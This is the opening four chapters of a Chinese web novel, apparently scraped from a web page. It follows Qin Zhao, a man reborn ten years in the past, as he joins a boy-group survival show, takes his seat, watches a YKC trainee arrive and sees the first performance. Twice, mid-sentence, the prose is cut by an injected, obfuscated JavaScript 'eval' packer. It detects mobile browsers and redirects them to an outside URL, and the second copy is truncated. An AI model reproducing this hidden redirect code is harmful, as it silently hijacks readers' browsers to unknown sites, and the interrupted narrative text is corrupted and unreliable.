《重生男团选秀后》 1. 第 1 章 “素人是指个人练习生吧，是不是秦昭要来了？！” “果然重头戏都要放在最后出场，这还是第一次看到素人压轴，这哥应得的。” “秦昭那个视频我看了n遍……帅飞了。” “完了真来了，出道位又少一个。” 舞台中心的大屏上浮现出[素人]的字样，落座在钻石轮廓阶梯座椅上的练习生们纷纷坐直了些，精神一振。 整个演播厅都随之躁动起来。 作为选秀固定节目的选座位环节，看点大多就在炒热现场氛围的出场第一印象reaction。选座位的竞争反倒因为没有实际意义，更像是闹着玩，无人在意。 出场全自动备受全场瞩目的对象，除了背靠大公司，拥有知名同公司前辈、高度疑似实力派的练习生，再就是外貌突出的练习生，还有自带话题基础的“回锅肉”选手，以及开播前就通过各种途径拥有热度的网红。 而这几类人，通常都会被节目组放在靠后的顺序入场。 被全场频频提及的秦昭，准确来说，哪一类都不算。 网红曝光透支太多，缺少神秘感和幻想空间，而秦昭作为节目录制开始前拥有最高讨论度的参赛者，练习生们却几乎对他一无所知。 “为什么他们都知道接下来要出场的是谁？” 莫汕皱皱眉，茫然的不像是装的。他自以为不着痕迹，实则漏洞百出地看了看脚边对着他的摄像头，又实在忍不住好奇，掩耳盗铃地捂住嘴，轻轻肘击身边一起来的队友。 “……”原翊杉无语地扫过莫汕衣领间别着的麦，在心里想着，这个大傻蛋如果被剪进正片，肯定要被弹幕骂故意热演蹭镜头，演技还很蹩脚。 再孤陋寡闻也不可能不认识秦昭啊。 但他不回答也不行，想起秦昭当下逆天的绝佳风评和事迹传播度，原翊杉尽量替这傻子补救了下：“你这记性还是这么差，那个视频你看过的，就很火的那个见义勇为的大佬，他叫秦昭啊。” 一听到“见义勇为”这个关键词，莫汕顿时露出恍然大悟的表情，显然是对上号了。 莫汕尴尬地摸摸鼻尖，他隐约感觉自己说错话了想弥补：“啊啊这样，我看到传闻后一直以为是节目组单方面捆绑想蹭大佬热度，没想到真的来参赛了啊——” 原翊杉：“………………” 大哥，你闭嘴吧。 你情商有点太感人了，我怕导播都不给你被恶剪的机会，直接把你一剪没。 有一点莫汕说得倒是也没错。 《星光熠熠》前期的热度，几乎全是秦昭一己之力拉起来的，不然这节目不至于还没正式开录关注度就高的吓人。节目组占了大便宜是事实，秦昭一个人顶上千万的宣发费，效果还更好。 只是这话，不适合摊开来在节目里说。 练习生们屏住呼吸，等待个人练习生入场。 万众瞩目之下，几个人影从大屏右下方的通道走向舞台。 摇臂镜头推进，为首练习生的近景画面被适时地切换到显示着[素人]的大屏上，让端坐在阶梯座椅上的所有练习生都能看清他的模样。 坐在象征着第一位的王座上的练习生按了按自己的渔夫帽，往前探了探身，双手交握胳膊肘撑在膝盖上，一错不错地凝视着屏幕上的人。 演播厅的打光很强，哪怕是小麦色皮肤，在演播厅的大灯照射下，都显得白净肤质好。 但秦昭一走进来，就让人清晰地感受到，真正的冷白皮还是不一样的。 练习生们本来被头顶四面八方的灯笼罩，热得汗流浃背，时刻都要担心晕妆。看到秦昭的那一刻，却好像炎热夏季的一抹凉，悄无声息地拂过，没来由的将热到躁动的心抚平。 秦昭抬眼看向阶梯座椅，视线一一划过跟他遥遥相望的竞争对手以及潜在的伙伴们，似乎在某几个特定的位置稍作停顿，又好像没有特别关注某个人。 被秦昭短暂定格凝视的徐知晗也正观察着秦昭，猝不及防对上视线，莫名心里一跳。 哪怕隔得远，徐知晗直觉自己的视线跟秦昭对上了一瞬，短暂交汇。 秦昭在看他……？ 徐知晗不太确定地摸摸自己的脸。 同公司跟他一起来的柏斯汭，不知道他一直摩挲自己的脸干什么，好心提醒：“喂哥你别老摸脸，妆花了怎么办。” 徐知晗动作一顿，嘴角比a//k都难压，突然没头没脑的自恋感慨了一句：“小柏啊，你哥我好像，长得有点太帅了。” 不然怎么能让秦昭下意识多看他两眼？ 柏斯汭嘴角抽动，冷漠脸发誓绝对不再主动搭理这个自恋狂：“…………” 徐知晗又犯病了。 练习生们对秦昭出场的反应强烈。 选秀是选爱豆，爱豆的核心出装以及必要条件就是脸，其次是身材。除非实力强到可以逆天改命，否则上镜效果不佳的练习生，很难吸引粉丝入坑。 秀粉们嘴虽然毒，说得却是大实话，想在选秀里脱颖而出，好看是第一要义。 公式照盲投，杀出来靠的不就只有脸吗？ 最常挂在秀粉嘴边的至理名言就是，唱跳双废可以练，脸不好看就只能重新投胎了。 秦昭一出现在大屏上，本就躁动的录制现场像开了的沸水，讨论声此起彼伏。 “秦昭颜C内投说不定能拿全票……” “好吧，出道位基本等于被锁了一个，能出道的几率又下降了……” “我反复刷了几十遍的监控录像，视频里没有现场看到真人的冲击性更强啊！！” “一眼淡人啊，咋办，我想认识但有点不敢上去搭话了。” “我姐说我出不出道不重要，秦昭一定得出道……我输得不冤。” 在场的练习生们此前对秦昭的了解，仅仅来自于让他一夜间火遍全国的两个视频。 一是作为社会新闻大出圈的监控录像，二是秦昭被堵在学校门口的一段只有十几秒的采访。 监控流出的源头无从考究，短视频爆发下，#路人高中生见义勇为#在热点第一的位置牢牢挂了好几天。 摄像头视角的视频记录被传得包浆，热度最高的还是未剪辑的初始版本，在抖点赞超过惊人的千万。 没有后期配音的机械解说，没有营销号画蛇添足的强节奏背景音乐，原原本本无添加的视频内容，反而更让屏幕前的人心神牵动，肾上腺素飙升。 监控视频中，一男子突然从包里拿出凶器乱砍，离得近没防备的路人被袭击受伤。 毫无征兆暴起持刀伤人的疯子，晚高峰拥堵静止的车道，慌乱四散的人群。 所有人都往外奔逃的情况下，有人逆行就显得格外明显。 马路对面穿着校服的秦昭反应极快，毫不犹豫手撑护栏翻越过来的同时，用力甩出书包精准击中伤人者的头部，趁其一瞬间反应不及的空隙，将受害者拽到自己身后。 罪犯短暂愣住后举起利刃就砍，秦昭动作更快，在对方手腕处快准狠一击，尖刀脱手落地的同时，长腿利落将刀扫飞到几米外，抬手将其击晕。 确认过对方真的昏过去后，秦昭回头查看被自己救下来的人确认伤势，拿出手机打电话。 很快，救护车和警车先后赶来。 整个过程一气呵成。 镇定，冷静，安全感爆棚。 在刷到这段监控视频后，很少有人能忍住不点个免费的赞。 秦昭的动作比某些所谓的动作电影都要流畅干脆的多，而这一点从他本人那里得到了解释。 被记者堵在校门口的秦昭看起来不习惯面对镜头，不太自在地用手背蹭了下鼻尖，说他从十二岁开始学习自由搏击，只是爱好。 练习生们年纪基本都不大，甚至说正处在热血燃烧的中二时期，对视频里的秦昭甚至称得上崇拜，忍不住偷偷把自己代入帅翻所有人，激动的不知道天地为何物。 对其他人，练习生们或许竞争意识占据高峰，而对秦昭，绝大多数人在得知秦昭要跟自己参加同一档节目的时刻，更多的是爽的睡不着觉。 《星光熠熠》的报名人数都随之翻倍，竞争激烈。 哪怕被淘汰，能在节目里认识秦昭的话，也挺值的。 亲眼见到秦昭本人，却跟他们的想象有不小的出入。 这个出入不是负面意义上的。 爆火视频中的秦昭，干脆利落，犹如战神。 现实中的秦昭没那么锋利。 相反，他身上有一种淡淡的疏离感，看久了，总觉得有些说不出的忧郁。 练习生们不知道怎么描述这种令人印象深刻的个人特质，如果换成粉丝来，看一眼就能形容到位。 秦昭冷冷淡淡，底色隐约是冷色调的，有破碎感。 多少人求都求不来的，见过就难以忘记的，属于秦昭的，独一无二的氛围感和辨识度。 哪怕不认识秦昭的人，也很快就能牢牢记住他。 个人练习生一共有四个。 他们只是作为“素人”这一分类一起入场，实际初舞台并不是他们四人合作。 没有公司作为后台，他们想脱颖而出成功出道，就必须有强烈个人特质或外形唱跳上的硬实力。 然而跟秦昭一起入场，是幸运也是倒霉。 幸运在于他们身为纯素人，单独入场极大概率被一剪没，但跟有超高热度的秦昭一起入场，至少能有一个合体入场的背景板镜头留着。 倒霉在于，有自体发光的秦昭在，留给他们的镜头，估计也就只剩一个背景板了。 所有练习生都将视线投向仅剩的几个位置，猜测秦昭会选择坐在哪。 出场太晚，留给秦昭的选择寥寥无几。 《星光熠熠》的抢位机会，仅限于九个出道位置。 秦昭会选择挑战前九的座位吗？ 初舞台之前的选座似乎毫无意义，却能侧面体现选手们的性格差异。自信和自大只有一线之隔，勇敢和胆怯也很难藏匿。 秦昭看上去很低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156032|180559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调，但他有自信的资本，练习生们不了解他，完全猜不到他会怎么选。 就在这时，阶梯座椅右下方站起来一个人，嗓门很大地朝着秦昭蹦跶着挥手喊，边喊边笑容灿烂指着自己旁边的位置：“秦昭！秦昭！我给你留了个数字很吉利的空位——” 听见这声先发制人的热情邀约，全场练习生们嗖嗖齐刷刷扭头，懊恼中夹杂着悔意，在心里龇牙咧嘴。 我靠，这么好的主意我怎么没想到……！！ 诡计多端，一石二鸟啊。 不止是他们本来就想认识秦昭的问题。 挨着秦昭的话，镜头肯定也少不了啊！ 可恶，晚了一步。 周边的人看向这个脑子好使的家伙，对方衣服上贴着名牌，上面写着“陆诤”。 后悔怎么没想到提前在自己旁边给秦昭留位置的练习生们：……没事，秦昭肯定会拒绝你的。 就在他们自我安慰的时候，秦昭动了。 令所有人跌破眼镜的是，他朝着陆诤的方向点了点头，竟然真的朝着陆诤走了过去。 “……啊？原来秦昭这么好说话的吗？！” “不是，我怎么觉得这个陆诤有点眼熟。谁帮我一下？” “我也觉得莫名看着有点……我去，我想起来了，他是那个，那个秦昭采访的时候，在他身后比心的那个！！” 被率先想起来那个这么一提醒，顿时破案了。 好家伙，原来是你，怪不得。 秦昭那个短短的采访视频里，有一个特别活跃的背景板同学，就是陆诤。 秦昭回答记者问题的时候，陆诤在他背后跟多动症似的，看着不太聪明。导致一时间很难判断，他到底是心机太重在蹭镜头，还是单纯是个精力旺盛无处发泄的二货青少年。 总之他在秦昭身后又笔芯又wink又咧嘴傻笑，比当事人兴奋，还……看着很与有荣焉。 记者本来保持严肃，被搞怪的陆诤搞得差点无语到笑场。 大多数人重点都放在秦昭身上，只有少数人被陆诤笑的头掉，专门给他截出来放大吐槽。 吐槽相关的热评第一是，人家秋雅结婚，你搁这又唱又跳的，成何体统啊！ 但现在看来，秦昭既然不介意坐在陆诤旁边，两个人关系似乎确实还挺好的。 陆诤给秦昭留的座位是很吉利，秦昭坐六十六号，陆诤坐六十七。 另外三个个人练习生坐在哪里现场无人在意，秦昭落座后，大屏幕上就浮现出了最后一个尚未入场的练习生所属社。 秦昭压轴，一百个练习生中，只剩下一个人没入场。 大屏幕上无声出现的经纪公司名字，轰然将全场引燃。 [YKC] “YKC？？？？！！？？” “哈？？！” “不是只有中小型公司才会送人来参加选秀搏一搏吗，这种不缺资源出道即顶流的大公司也送人来抢位置合适吗？” 秦昭目光在大屏幕停留了一会儿。 YKC，哪怕是不了解娱乐圈的纯路人，也有所耳闻。 内娱最厉害的经纪公司，耳熟能详的爱豆十个中有七个是YKC出身。 连续捧红了三代男团女团，以实力外貌并存出名，星探眼光毒辣，不要后期躺手术台靠医美逆袭的预备役，只要一眼惊艳的原生脸。 不止外形要求严苛，每个YKC的练习生都逃不过残酷的每月评级审核，拿到F的练习生会立刻被打包踢出公司。 相当于，在进入公司的那一刻，YKC的练习生每个月都像是在参加淘汰制的选秀，时刻处在高压中，一刻也不能松懈。 能生存下来的练习生，哪怕不是YKC顶尖的要藏着掖着的那一批，对上小公司的人也是降维打击。 秦昭听到前排有个人显然是一时激动忘了镜头的存在，问队友会不会是YKC看不上进不了出道组的弃子？不然为什么来这里刷脸？ 秦昭没有做出任何评价。 他能感受到，演播厅内的氛围变得紧绷而粘稠，太多的人如临大敌，藏着暗流涌动的忌惮与警惕。 出道位有限，每一个都很珍贵。 渴望出道的人，自然不希望迎来过于强大的对手。 秦昭看向大屏斜下方的通道口。 走进来的练习生明明是一个人，却走得很稳，气场不容忽视。 来自YKC的练习生染了一头张扬而漂亮的金红相间头发，半长不短，看似随意又不乏痞气的扎在脑后，用皮筋束成一个小揪揪，左耳钉着一排黑金耳钉。 换个人做同样的造型会是遭难。 最后出场的练习生，却拥有极富观赏性的核心出装。 一张见之难忘的脸。 秦昭走神般心不在焉地看着站定在舞台中心的人。 这就是尚未到来的十年后，秦昭死前见过的最后一个人。 上辈子自这档选秀节目出道的，曾经的限定选秀团mobius9的C位，安夏纱。 2. 第 2 章 安夏纱站定在钻石阶梯座椅前。 他微微点头打招呼后眯起眼，视线不断在阶梯座椅上扫来扫去，像是在审视。 一百名练习生，已然落座了九十九位，所有人都在屏息等待，猜测他会不会挑战顶端属于第一的王座。 外形太优越的人，不笑的时候自带压迫感。 安夏纱迟迟没有动，眉头蹙起，眼皮始终半阖着，有股谁也不放在眼里的味道。 被来回扫视的练习生们都被安夏纱不正眼看人的样子嚣张到了。 性格包子的练习生紧张到大气不敢出，缺乏自信心的练习生下意识避开对视，平日就偏强势的练习生则不太爽安夏纱一上来就给他们“下马威”，忍不住瞪着舞台中心的人，狠狠看回去。 只有秦昭知道，看台上的人误会了。 眯眼时无意识皱眉的安夏纱，在不认识他的人看来，怎么看怎么透着点不讨人喜欢的强势。 秦昭很难不回想起，上辈子他跟安夏纱之间的误会。 “……” 跟现在的情况，多少有点异曲同工之处。 演播厅内剑拔弩张的气氛，在安夏纱开口后，瞬间破功，一百八十度扭转。 独自面向阶梯座椅的安夏纱略尴尬地抿唇，对当下面临的意外状况感到局促。 安夏纱眼神不好，高度近视。 年少无知时爱侧躺着打游戏，散光度数也不低。 平时他除了睡觉都戴隐形眼镜，倒什么都不影响。偏偏在正式录制开始前，麦粒肿犯了，所以暂时戴不了。 安夏纱不清楚是潜在的压力太大造成的发作，还是纯属倒霉。 麻烦的是公司不允许他戴镜框眼镜，说第一印象很重要。 团队的工作人员评价他戴镜框时整个人氛围都不一样，挡住眉眼后视觉冲击效果大大减弱，像个宅男。 隔着高度近视的厚镜片看，眼睛也会变小。 无论安夏纱怎么解释，怎么反对，公司都坚持驳回。 这次犯的麦粒肿不算严重，就是左侧眼皮微微肿了。妆造师给他将眼妆化浓了不少，尽量看着自然地用额前的碎发遮一遮，增强氛围感，只要不推近景看不太出来。 总之他被迫硬着头皮上场，看在场的任何人，都看不清，放眼望去全是马赛克。 “……那个，我找不着剩下的那个空座位在哪。” 安夏纱顿了顿，感到社死。 为了不丢人，他将那点尬掩饰的很好，发问时格外冷静。 “谁能，帮我指一下吗？” 全场陷入诡异的安静：“………………” 不是。 ……啊？ 感情这哥一遍遍扫视他们，是在找，能落座的位置吗？！ 呃也是。 密密麻麻坐满了人，一时间漏掉某个空档，好像也能理解。 本来紧绷凝滞的氛围，瞬间就像是撒了气的皮球，透着点黑色幽默般的诙谐。 发现自己脑补过多误解了安夏纱，练习生们克制着嘴角抽动的幅度，好气又好笑的用热情回应来补救—— “哥，在最后一排右下方！” “一百号，一百号！” 仅剩的位置，是没人选的一百号，在最下排的最角落。 得到帮助的安夏纱无声呼出一口气，点头致谢后，大步朝着最角落的一百号座位走过去，干脆地坐下了。 会选择末尾位置的练习生，多数情况下，要么是高度自信完全不在乎坐哪的强者，要么是严重缺乏自信不敢往上坐，自甘当不被人注意的背景板。 安夏纱显然是前者，眼睁睁看着安夏纱坐在自己旁边的九十九号，则是绝对的后者。 徐闻瞳孔地震，僵硬的手脚都不知道往哪放，下意识把放松状态翘着二郎腿的动作改了，两手拘谨地放在膝盖上，像个毫无防备跟学霸当了同桌的吊车尾。 被接连入场的帅哥们打击了好多轮，徐闻信心正处在最低谷，玻璃心离碎掉也不是很遥远。他本来充满憧憬地选了第九位，是被很有几分姿色的后来者踢走，信心下跌后选在角落的。 这节目的竞争比他想象的要激烈太多。 来之前徐闻真心觉得自己长得还行，实力不差，在自家公司里算很拿得出手，要不然也不会被送来参加节目。 结果真来了之后，徐闻直观又沮丧的意识到，自己没戏。 生活中他算时不时会被夸帅的类型，但艺人和素人对于“帅”的标准，天差地别。 亲眼看到秦昭的那一刻，徐闻恍惚盯着他看了许久，自我评价迎来三级跌，从“小帅”跌到“普通”，最终停在“小丑”。 比起挨着好看的人坐被嘲，徐闻自尊心受不了，宁愿直接一轮游，转行做直播之类的算了，免得丢人。 结果安夏纱往这个无人在意的灰暗角落一坐，徐闻的余光瞬间就捕捉到，拍这边的摄像机都增加了三台。 徐闻有自知之明，他不认为这是天降的镜头福利，而是清醒的在内心叫苦不迭：“…………” 完蛋了。 像安夏纱这样能吸引全场视线的人，唯一能坐在他身边不用担心被同框虐的体无完肤、甚至说不准会比安夏纱更吸睛的人……大概就只有秦昭了。 安夏纱应该坐到秦昭旁边才对啊！！ 好看的人就应该和好看的人坐在一起！！ 徐闻想说你不要过来啊，但是安夏纱出乎他意料的，率先跟他打了声招呼。 这位来自YKC气场逼人的练习生，意外的不是走距离感强酷哥路线的类型。 最能体现这一点的，就是他对抢前九的座位不感兴趣。 然而安夏纱虽然没端着无视徐闻，两人却也没什么客套或寒暄的话说，干巴巴打了个招呼后 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安夏纱一整个睁眼瞎，所以他不知道，他回头的时候，秦昭的视线和他在空中充满巧合的撞到了一瞬。 秦昭并没有在看安夏纱。 预示着导师们即将入场的音乐响起，秦昭听到声音下意识抬头。 “秦昭，你看没看到……” 现场嘈杂，陆诤说了什么秦昭没听清，就朝着左侧的方向侧了侧身靠近他。 “什么？” 视线这么一偏，刚好在半空中与安夏纱的回望交错。 两个人都没看到对方，怼着两个潜在大热选手狂拍的摄像师，却将这一幕收拢得异常清晰。 氛围感，有时就是莫名其妙的。 盛开得正好的花怎样拍都美。 正处在一生中最美好时刻的两个人，目光在半空中无声地交错，哪怕充满宿命感的定格拉长只是镜头为赋新词强说愁，明知是过度解读，也有扑面而来的诗意。 剪辑到正片中，就是过去多少年也让人念念不忘的，一眼万年。 导播反复回看这个无心插柳收录下来的镜头，笑意渐渐加深。 第一期，需要有几个名场面，来吸引粉丝们牢牢留在这档节目里，勾着她们想看更多，为此可以忍耐所有不满意的地方。 这种镜头的诞生可遇不可求，剧本是写不出来的，某个瞬间的氛围感无法解释，称得上是玄学。 本来他们在担心这样的镜头一个都拍不出来，而现在，能用的素材比想象中的多太多。 秦昭看向舞台正中，紧闭着的自动门已经大开，制造悬念的雾气随着音乐节奏被释放，透过灯光能看到五个人影朝他们走来。 练习生们躁动兴奋起来。 “导师们来了！！” 3. 第 3 章 导师们踩着造势的强烈背景音乐走出来的那一刻，练习生们爆发出一阵阵欢呼声。 拍手的，起哄的，表白的，吵吵闹闹，宛如猴子下山。 “Omg方星琰真的来了！！” “一看见LenziD老师我就有点怂……” “雅姐美的有点不像人了，可惜我没有手机不能拍两张给我弟看看，他超喜欢雅姐啊啊！” “有没有人知道我们的rapper导师摘了墨镜什么样，有人见过吗？” 练习生们这一波热情又不乏崇拜的讨论和呼声，给足了导师们情绪价值。 面子好看，外加还莫名有点好笑，别说本就看着和善好说话的米雅，就连剃着寸头戴着墨镜装不苟言笑的rapperLenziD，嘴角都小幅度抽搐一般翘了翘。 导师们刻意维持的高冷形象，很快就在热情攻势下破功，露出笑容。 《星光熠熠》作为时隔几年重启的选秀，能被请来当导师，足以证明这五位艺人名气与实力兼具。 导师们举起麦克例行公事般自我介绍时，看台上的练习生们挨个给出捧场的热烈回应。 “很高兴来到《星光熠熠》，与大家相见。”站在五人最中心的导师笑着自我介绍，“我是你们的星推荐官，方星琰。” 在场的没人不认识方星琰，练习生们给予热烈回应。 “方老师帅爆了！！” “老师我在练习室练过你的每一支舞！” “第一次见到活的明星……” 狠狠Reaction一贯都是选秀最不可或缺的传统，选手们一是为自己争镜头刻意夸大兴奋感，再就是，素人出身第一次亲眼见到真正的明星，一想到即将能够跟艺人正面交流对话，成为他们的“人脉”，这种经历对很多练习生们来说，确实挺奇妙的。 习惯之后他们就不会再这样了，但现在，很多练习生都带着会为很小的事大呼小叫的新人美。 任何事都是最初接触的时候最新鲜，获得的快乐也最简单纯粹。 返祖的猴子包括一个陆诤。 陆诤揽着秦昭的肩膀，兴奋地摇晃着秦昭的脖子：“秦昭你快看，真的有方星琰！这就是心想事成吗！” 秦昭淡定的像活人微死：“嗯，真的有，手放开。” 坐在秦昭身后的练习生看着秦昭的反应，忍俊不禁。 秦昭一整个被e人绑架挟持的i人，随着陆诤大力摇晃的动作晃悠两下，等对方没那么激动了，抓住机会抬手按住陆诤的肩膀，把他摁回自己的座位上去。 陆诤深深感觉到被嫌弃了：“……” 秦昭平静目视前方开口：“你想多了，我只是不喜欢肢体接触。” 陆诤嘴角抽动：“……我还什么都没说呢！” 秦昭无声给了陆诤一个眼神。 像是在说，有的人想说什么全写在脸上。 感觉到自己被看透的陆诤很郁闷。 不满秦昭对他这么冷淡，陆诤犹如一只左冲右突行为难以预判的野猪幼崽，收着力道用头顶抵住秦昭的肩膀，耍赖的用脑袋拱来拱去的方式表达不高兴。 秦昭：“……” 想起上辈子陆诤二话不说帮忙的样子，秦昭把评价陆诤幼稚的话咽了回去，舒展眉眼。 算了。 十六岁和二十六岁，自然是不一样的。 谁能想象到陆诤未来会是个成熟可靠的人。 陆诤的卷毛发量惊人，烫染后更加毛蓬蓬。 但是不软，发质损伤会让头发变硬，对秦昭来说，更像刺猬。 “你之前都不介意我跟你勾肩搭背！” 陆诤是直觉流，他总觉得秦昭虽然还是秦昭，可又哪里不一样了。 坐在陆诤前排的练习生耳朵动了动，忍不住扭头看了他一眼，又看看秦昭。 这个叫陆诤的家伙真的好能碎碎念，秦昭脾气真好，他这个坐前排的都想拜托陆诤少念叨两句。 秦昭情绪异常稳定的安静听陆诤说话，惜字如金的“嗯”了声：“人都会变。” 陆诤：“……” 已读乱回是吧？ 秦昭余光瞥到坐在他右侧的木泽霖动了动，似乎感到空气变得稀薄一般，抬起手克制地拽了两下领口。 人在强装镇定的时候，小动作会不自知变得特别多。 木泽霖目光定定看着舞台上发言的方星琰，看了半天后像是刻意逼着自己移开视线，接下来的一系列举动无不透着股手忙脚乱。 整理整理本就平整的袖口，椅子着火一般坐立不安地左右挪动下，又弯腰去捡脚边的瓶装水。 在他拎起矿泉水瓶要拧开喝的那一刻，秦昭开口提醒。 “你手里的这瓶水是我喝过的。” 木泽霖一顿，像是从神游状态抽离出来，条件反射握着瓶子看向邻座的秦昭，结果眼神先对上了前排扭头偷看他的一排练习生。 “……” 前排正偷偷观察木泽霖反应的练习生们猝不及防被抓包，都嗖地收回视线，目视前方。 木泽霖一顿，他不着痕迹地朝后转了转脑袋，果然后排座的练习生们也在用充满八卦的视线关注着他。 确认过大家的反应，木泽霖不乏自嘲地抿了抿唇。 没想到这么多人都知道，他跟方星琰出道初期曾经是队友。 如今方星琰都当上了导师，而他糊的像个素人，难为他们还记得这一段过去。 倒是秦昭没什么反应，他看着木泽霖的视线不包含任何特别的感情色彩，没有八卦，也没有掩藏的戏谑同情或怜悯。 他仅仅是抬手在走神的木泽霖眼前挥了挥，指了指木泽霖手里的瓶子，认真陈述：“我有洁癖，不太喜欢跟别人喝一瓶水，希望你可以理解。” “……啊，理解理解。”木泽霖回神，感受到秦昭默不作声看着他的视线，赶紧将手里的矿泉水瓶放回原处，弯腰拿起脚边另一侧的半瓶水匆忙解释：“包装都撕掉了，我不小心记混拿错了……抱歉。” 暂时没有矿泉水品牌赞助《星光熠熠》，节目组又不是做慈善的，给选手们准备的水都提前将瓶身撕得干干净净。 大家一左一右放在地上，确实容易搞混。 木泽霖不好意思地笑笑，酒窝加深，那种心神不宁的焦躁感瞬间被冲淡了很多，看着很温柔。 完全没有攻击性的长相。 选秀不是非要又争又抢才能有镜头，凭借老好人路线收获好感的也不在少数。 木泽霖适合做自己。 秦昭这么想着，微微点头说了句“没关系”。他收回视线，将注意力重新放回到舞台中心。 几句话的功夫，导师们没有互动多久，落座后就干脆地进入初舞台测评的part。 第一个上台的，多数情况下是热场的炮灰，少数情况会安排厉害的人先上场，点燃现场的竞争意识。 剪辑后的正片顺序是打乱的，现实中第一个出场的格外考验心态。 率先出现在大屏幕上的，是练习生的所属社。 [HeartBeat]。 练习生们忍不住跟身边的人讨论。 “Heartbeat上一届送来选秀的练习生，最后出道了一个，说不定这次的也会很厉害。” “这公司出了名的喜欢送小孩儿过来，上一届送来的是高中生，这一届来的不知道成年没？” “刚才选座位的时候不是见过了，heartbeat这次来的练习生个子挺高的，不好判断年龄。” 正议论纷纷，三名练习生从通道口走了出来。 秦昭看着大屏幕上推的近景。 中间毕竟隔着十年。 再加上秦昭本人过去没有参加选秀，仅仅为了支持陆诤看过几期节目，记忆没那么清晰，多数都是模糊的。 只记得关键节点，不了解细节。 剪辑出来的版本，很大程度也跟现实经历的有所出入。 “导师们好，我们是来自heartbeat的练习生——” 三个人站成一排，身高不一，宛如wifi。 左侧的高个子领头默数三二一后，三个小鸡仔散发着紧张到头掉的新人美，大声背诵自己的开场白。 自我介绍的声音很大，尾音却发颤，泄露了试图掩饰的慌张。 “我的名字是姜霈，今年十九岁，是我们三个人中的大哥。” “老师们我叫林丞！丞相的丞！是老幺，下个月满十五岁啦！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156034|180559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我，我是贺湜曼。” 姜霈弯腰探头给贺湜曼提醒他忘了说年龄，贺湜曼看着大脑有点空白，握着麦克风的手都在抖抖抖，好半天才再度开口。 “我，我，我十六岁。” 保持冷酷脸的lenziD推了推墨镜，低头翻看简历资料，没有盯着他们看：“不要紧张。这就紧张，怎么上台表演？年龄不重要，重要的是表现力。自信点。” 为首的姜霈顿时带头鞠躬：“不好意思导师，我们会努力改正的！！” 另外两个弟弟连忙跟着大哥鞠躬，跟复读机一样紧急表态。 “会努力改正的！”x2。 lenziD：“…………” 本意是安慰鼓励，却被理解成了批评。 他看着就这么像个可怕的大恶人吗？ 温柔担当林致晏老师看出lenziD掩藏在酷酷外表下的窘迫，立刻善解人意地进行挽救：“孩子们，D老师是想让你们放松点。我看看……年纪虽然不大，你们三个练习时长倒是都很长？” 林致晏解围的同时确实有些惊讶，边念边惊叹：“唔，姜霈已经当了六年的练习生？林丞三年……贺湜曼四年？” 本来看三个人紧张的样子，又听到年龄这么小，很多练习生都先入为主觉得他们只是来刷脸历练一下的。 这个练习时长让本来放松的练习生们立刻意识到，这三个人不是来混经验的，是真的奔着出道来的。 “六年？？？” “十五岁都有三年练习经验了……那我二十三岁才开始当练习生算什么……” “算你大龄青年勇敢追梦！” “喂——！！停止互相伤害！！” 练习生们一边心情复杂，一边看大屏。 在看台坐着距离远只能看清整体，要看五官细节和表情变化，还是得靠实时近景大屏。 再次听到姜霈说自己是“大哥”的那一刻，米雅没忍住“噗”的一声笑了。 她扭头跟身边的方星琰叹息着哭笑不得：“听听，十九岁都成大哥了，这对吗？” 方星琰知道米雅更多的是想让台上的三个小卡皮巴拉放松些，他配合地耸耸肩：“我是不会受伤的，只要我坚持不过生日，我永远十八。” 方星琰摆出一副脸皮厚如城墙的样子，颇为自然地看着姜霈发问：“好的姜大哥，你们要表演的曲目是？” 姜霈有一双黑白分明格外明亮的眼睛，被方星琰称作姜大哥后腼腆的压了压嘴角：“《Killing Moon》。” 这个意料之外的选曲，不止令导师们快速互相交换了一圈视线，练习生们也因意外有些坐不住。 “Killing moon？” “我以为他们会表演青春可爱风的歌曲，没想到是这种大开大合需要气场的。” “突然就期待起来了……摸不清会反转出强势的一面，还是会像小孩穿大人衣服一样不合适。” 插科打诨下，台上的三个年轻参赛者感觉导师们态度友好没那么吓人，肉眼可见放松了不少。 姜霈调整了下自己的随身麦，两个弟弟默契的也低头先检查后腰挂着的设备有没有固定好。 这个举动，让秦昭将这三个人的名字在心里记了下来。 细心，聪明。 看似紧张，实则一句错话都没有说过，很讨喜。 无论是初舞台还是正式公演，都有过随身麦掉落影响到舞台效果的情况发生，不知道这种将意外扼杀在表演开始前的谨慎，是不是来自于姜霈。 对秦昭来说，这是他第一次看现场表演。 发现秦昭看得很专注，陆诤将嘴边的碎碎念咽回去，没有打扰他，转而也认真等待。 迷离失真的电吉他穿透演播厅嘈杂粘稠的空气，张力像一张编织牢固又隐秘的网，悄无声息席卷开来。 伴随着密集的鼓点，三个人毫无征兆地同时原地起跳，腰背后仰向身后折叠，轻盈跃起，轰然落地。 lenziD的冷酷面具随之出现裂痕，他往后靠了靠，手中的笔在肾上腺素炸开的同时被拍在桌面上。 反差令人头皮发麻。 练习生们发出“噢噢噢——”的惊呼声，全场沸腾。 4. 第 4 章 虽说没到“为舞台而生”的程度，heartbeat三人组却很好的诠释了，舞台魅力真的能给人赋魅。 刚刚的对话环节，除了姜霈能主导着说上两句，林丞更像是大哥姜霈的复读机，贺湜曼则一紧张就有点小结巴。 不掺假的青涩也是一种可爱，但这种可爱不足以让人被深深吸引，被就此折服。 神奇的是，跳起舞来之后，这三个被方星琰称之为小卡皮巴拉的练习生，瞬间就像是换了一个人，连气质都完全不一样了。 